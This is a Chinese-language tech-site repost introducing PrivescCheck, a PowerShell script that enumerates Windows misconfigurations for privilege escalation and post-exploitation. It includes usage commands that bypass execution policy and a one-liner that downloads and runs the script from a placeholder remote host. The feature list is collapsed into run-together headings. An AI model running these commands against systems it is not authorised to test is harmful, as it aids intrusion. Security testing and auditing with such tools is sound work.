privesccheckprivesccheck是一款专为windows系统设计的提权枚举脚本。该脚本能够识别目标windows系统中常见的错误安全配置，这些配置错误可能允许攻击者进行信息收集和权限提升，对漏洞利用和后渗透攻击极为有用。
该工具基于PowerUp工具开发，并增添了更多的检测机制，以减少误报。
目前，该项目仍在开发中，计划添加更多检测功能，但已经接近完成。
我个人非常喜欢PowerUp，因为它能快速枚举出目标设备中的常见漏洞，且无需依赖第三方工具。然而，PowerUp多年未更新，且有时会产生误报。
因此，在PrivescCheck脚本中，我们考虑了以下几个方面：
工具下载研究人员可以使用以下命令将项目源码克隆到本地：
git clone https://github.com/itm4n/PrivescCheck.git
工具使用可以在PowerShell命令行控制台中运行该脚本：
PS C:Temp> Set-ExecutionPolicy Bypass -Scope Process -Force PS C:Temp> . .Invoke-PrivescCheck.ps1; Invoke-PrivescCheck
该工具在显示输出数据的同时，会将它们写入到一个日志文件中：
PS C:Temp> . .Invoke-PrivescCheck.ps1; Invoke-PrivescCheck | Tee-Object "C:Tempresult.txt"
也可以在CMD命令行工具中使用该脚本：
C:Temp>powershell -ep bypass -c ". .Invoke-PrivescCheck.ps1; Invoke-PrivescCheck"
还可以从远程Web服务器导入并使用该脚本：
C:Temp>powershell "IEX (New-Object Net.WebClient).DownloadString('http://LHOST:LPORT/Invoke-PrivescCheck.ps1'); Invoke-PrivescCheck"
功能介绍获取当前用户信息获取目标设备服务DLL劫持
Invoke-DllHijackingCheck - 检查是否有任何系统路径文件夹可修改
程序/进程获取获取凭据获取注册表信息获取网络信息其他杂项* 参考来源：itm4n，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM
© 版权声明
文章版权归作者所有，未经允许请勿转载。
THE END
